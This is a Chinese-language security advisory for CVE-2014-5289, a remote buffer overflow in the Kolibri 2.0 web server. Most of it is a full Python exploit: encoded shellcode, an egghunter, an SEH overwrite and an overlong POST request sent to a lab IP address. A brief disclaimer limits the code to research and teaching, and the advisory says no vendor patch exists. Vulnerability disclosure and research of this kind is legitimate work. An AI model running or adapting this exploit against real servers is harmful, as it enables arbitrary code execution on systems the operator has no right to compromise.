Kolibri缓冲区溢出漏洞（CVE-2014-5289）

Kolibri缓冲区溢出漏洞（CVE-2014-5289）

发布日期：2014-08-17

更新日期：2014-08-19

 

受影响系统：

SENKAS Kolibri WebServer 2.0

SENKAS Kolibri WebServer

描述：

BUGTRAQ  ID: 69263

CVE(CAN) ID: CVE-2014-5289

 

Kolibri是简单HTTP服务器，支持静态Web内容，许可证书为GPL V3。

 

Kolibri 2.0及其他版本在处理超长的POST请求时存在远程缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

 

<*来源：tekwizz123

  *>

 

测试方法：

警 告

 

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

 

----------------------------------

#!/bin/python

import socket

 

#[*] x86/alpha_mixed succeeded with size 636 (iteration=1)

buf = "\x45\x44\x44\x43\x45\x44\x44\x43" # TAG

buf += "\x89\xe5\xda\xdd\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"

buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"

buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"

buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"

buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x69\x78\x6e"

buf += "\x66\x53\x30\x35\x50\x73\x30\x75\x30\x6d\x59\x4a\x45"

buf += "\x35\x61\x4e\x32\x33\x54\x6c\x4b\x31\x42\x66\x50\x6c"

buf += "\x4b\x62\x72\x34\x4c\x6c\x4b\x73\x62\x52\x34\x6e\x6b"

buf += "\x72\x52\x61\x38\x46\x6f\x6c\x77\x51\x5a\x66\x46\x45"

buf += "\x61\x59\x6f\x54\x71\x79\x50\x4c\x6c\x75\x6c\x50\x61"

buf += "\x51\x6c\x65\x52\x34\x6c\x47\x50\x6f\x31\x4a\x6f\x64"

buf += "\x4d\x57\x71\x6b\x77\x4a\x42\x7a\x50\x36\x32\x71\x47"

buf += "\x6e\x6b\x56\x32\x36\x70\x4c\x4b\x53\x72\x55\x6c\x4c"

buf += "\x4b\x50\x4c\x42\x30\x33\x48\x4b\x53\x32\x6a\x56\x61"

buf += "\x4a\x71\x50\x51\x4c\x4b\x43\x69\x67\x50\x47\x71\x79"

buf += "\x43\x6c\x4b\x31\x59\x62\x38\x68\x63\x77\x4c\x51\x59"

buf += "\x6e\x6b\x75\x64\x6c\x4b\x36\x61\x6b\x66\x44\x71\x49"

buf += "\x6f\x55\x61\x69\x50\x4e\x4c\x4b\x71\x38\x4f\x46\x6d"

buf += "\x37\x71\x78\x47\x65\x68\x39\x70\x34\x35\x7a\x54\x47"

buf += "\x73\x73\x4d\x79\x68\x37\x4b\x33\x4d\x64\x64\x70\x75"

buf += "\x6a\x42\x56\x38\x6c\x4b\x72\x78\x75\x74\x53\x31\x4e"

buf += "\x33\x50\x66\x4c\x4b\x54\x4c\x70\x4b\x6c\x4b\x36\x38"

buf += "\x65\x4c\x33\x31\x4e\x33\x4e\x6b\x67\x74\x4c\x4b\x76"

buf += "\x61\x48\x50\x6f\x79\x71\x54\x51\x34\x34\x64\x43\x6b"

buf += "\x71\x4b\x73\x51\x53\x69\x32\x7a\x42\x71\x79\x6f\x4d"

buf += "\x30\x42\x78\x43\x6f\x51\x4a\x6c\x4b\x37\x62\x58\x6b"

buf += "\x6d\x59\x31\x4d\x45\x38\x70\x33\x74\x72\x63\x30\x67"

buf += "\x70\x75\x38\x70\x77\x33\x43\x46\x52\x31\x4f\x42\x74"

buf += "\x70\x68\x62\x6c\x63\x47\x65\x76\x56\x67\x6b\x4f\x4b"

buf += "\x65\x6c\x78\x6e\x70\x76\x61\x45\x50\x37\x70\x45\x79"

buf += "\x49\x54\x76\x34\x70\x50\x65\x38\x76\x49\x4b\x30\x52"

buf += "\x4b\x45\x50\x49\x6f\x4b\x65\x46\x30\x50\x50\x70\x50"

buf += "\x76\x30\x37\x30\x42\x70\x47\x30\x42\x70\x71\x78\x48"

buf += "\x6a\x76\x6f\x4b\x6f\x49\x70\x39\x6f\x59\x45\x5a\x37"

buf += "\x50\x6a\x63\x35\x71\x78\x4f\x30\x6f\x58\x65\x6e\x4f"

buf += "\x71\x75\x38\x65\x52\x43\x30\x36\x71\x53\x6c\x6c\x49"

buf += "\x4d\x36\x73\x5a\x44\x50\x43\x66\x43\x67\x32\x48\x6a"

buf += "\x39\x49\x35\x62\x54\x63\x51\x59\x6f\x78\x55\x4f\x75"

buf += "\x59\x50\x42\x54\x36\x6c\x6b\x4f\x32\x6e\x65\x58\x72"

buf += "\x55\x7a\x4c\x30\x68\x38\x70\x58\x35\x6f\x52\x33\x66"

buf += "\x6b\x4f\x58\x55\x70\x6a\x35\x50\x72\x4a\x76\x64\x63"

buf += "\x66\x50\x57\x53\x58\x66\x62\x78\x59\x68\x48\x43\x6f"

buf += "\x79\x6f\x7a\x75\x6c\x4b\x65\x66\x72\x4a\x73\x70\x65"

buf += "\x38\x65\x50\x34\x50\x67\x70\x37\x70\x73\x66\x32\x4a"

buf += "\x43\x30\x55\x38\x43\x68\x4d\x74\x31\x43\x4b\x55\x39"

buf += "\x6f\x79\x45\x6e\x73\x42\x73\x31\x7a\x75\x50\x32\x76"

buf += "\x76\x33\x43\x67\x51\x78\x56\x62\x49\x49\x39\x58\x61"

buf += "\x4f\x69\x6f\x48\x55\x57\x71\x59\x53\x55\x79\x7a\x66"

buf += "\x4f\x75\x79\x66\x70\x75\x68\x6c\x4a\x63\x41\x41"

 

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb

8\x45\x44\x44\x43\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

 

overflow = "A" * 12

overflow += "A" * (790 - len(overflow) - len(egghunter))

overflow += egghunter

overflow += "\xEB\xD9" # This offset seems to work against Windows 7 Professional, fully updated as of August 5th, 2014

overflow += "A" * 2

overflow += "\x50\x45\x62" #SEH overwrite 00624550 aka pop pop ret from the binary itself.

 

# A lot of this is the same as exploit 34059 from exploit-db

 

buffer = "POST /" + overflow + " HTTP/1.1\r\n"

buffer += "User-Agent: Wget/1.13.4\r\n"

buffer += "Host: " + buf + "\r\n"

buffer += "Accept: */*\r\n"

buffer += "Connection: Keep-Alive\r\n"

buffer += "Content-Type: application/x-www-form-urlencoded\r\n"

buffer += "Content-Length: 4"

buffer += "\r\n\r\n"

buffer += "licenseID=string&content=string&paramsXML=string"

 

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

handle.connect(("192.168.62.130", 8080))

handle.send(buffer)

handle.close()

 

建议：

厂商补丁：

 

SENKAS

------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

 

http://www.senkas.com/kolibri/